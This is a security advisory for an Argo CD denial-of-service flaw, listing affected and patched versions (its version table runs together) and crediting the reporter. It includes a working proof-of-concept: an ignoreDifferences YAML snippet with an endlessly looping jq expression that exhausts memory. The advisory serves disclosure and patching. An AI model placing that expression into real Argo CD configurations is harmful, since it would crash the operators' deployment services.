| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/argoproj/argo-cd | all versions | |
| github.com/argoproj/argo-cd/v2 | ≥ 2.10.0, < 2.10.8≥ 2.9.0, < 2.9.13< 2.8.17 | 2.10.82.9.132.8.17 |
| argo cd | ≥ 2.1.0, < 2.8.17≥ 2.10.0, < 2.10.8≥ 2.9.0, < 2.9.13 | 2.8.172.10.82.9.13 |
DoS vuln via OOM using jq in ignoreDifferences.
ignoreDifferences:
- group: apps
kind: Deployment
jqPathExpressions:
- 'until(true == false; [.] + [1])'
A patch for this vulnerability has been released in the following Argo CD versions:
v2.10.8 v2.9.13 v2.8.17
If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free